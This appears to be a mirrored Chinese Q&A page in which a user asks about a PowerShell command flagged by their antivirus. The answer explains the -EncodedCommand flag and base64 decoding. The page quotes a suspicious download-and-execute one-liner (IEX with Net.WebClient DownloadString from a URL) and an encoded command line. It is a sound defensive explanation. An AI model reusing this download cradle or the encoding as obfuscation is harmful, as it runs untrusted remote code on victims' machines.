Eka*_*ngh 0 powershell base64 malware virus-scanning
我的防病毒软件不断使用下面提到的 powershell 命令提醒我。我对 Powershell 有点熟悉,但无法理解 Powershell 脚本下面的功能。同样最重要的是我想知道什么是命令行中使用的“-e”参数
可疑的命令行:
powershell -e sqbfafgakaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqbl
可疑脚本:
IEX(New-Object Net.WebClient).DownloadString('https://example.org/xmpsdh')
至于脚本:
IEX((New-Object Net.WebClient).DownloadString('https://example.org/xmpsdh'))
从给定的 URL下载一个字符串,并尝试将它作为 PowerShell 命令执行,通过IEX
(通常要避免的)Invoke-Expression
cmdlet的内置别名。
换句话说:它从网站下载未知的 PowerShell 命令并执行它们。
至于命令行:
-e
是短的PowerShell的CLI的-EncodedCommand
参数,它接受作为命令的Base64编码过的字符串。
此参数的目的是启用复杂命令字符串的健壮传递,而不会遇到引用和转义问题。
但是,恶意软件将该参数用作混淆技术:您无法轻易判断该命令在做什么。
例子:
# -e is short for -EncodedCommand
powershell -e RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA
Run Code Online (Sandbox Code Playgroud)
相当于:
powershell -Command "Get-Date -Format yyyy"
Run Code Online (Sandbox Code Playgroud)
您可以按如下方式解码给定的 Base64 编码参数:
$base64 = 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
# -> 'Get-Date -Format yyyy'
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64))
Run Code Online (Sandbox Code Playgroud)
相反,如果您想对以下字符串进行Base64 编码-EncodedCommand
:
$command = 'Get-Date -Format yyyy'
# -> 'RwBlAHQALQBEAGEAdABlACAALQBGAG8AcgBtAGEAdAAgAHkAeQB5AHkA'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
Run Code Online (Sandbox Code Playgroud)
归档时间: |
|
查看次数: |
1151 次 |
最近记录: |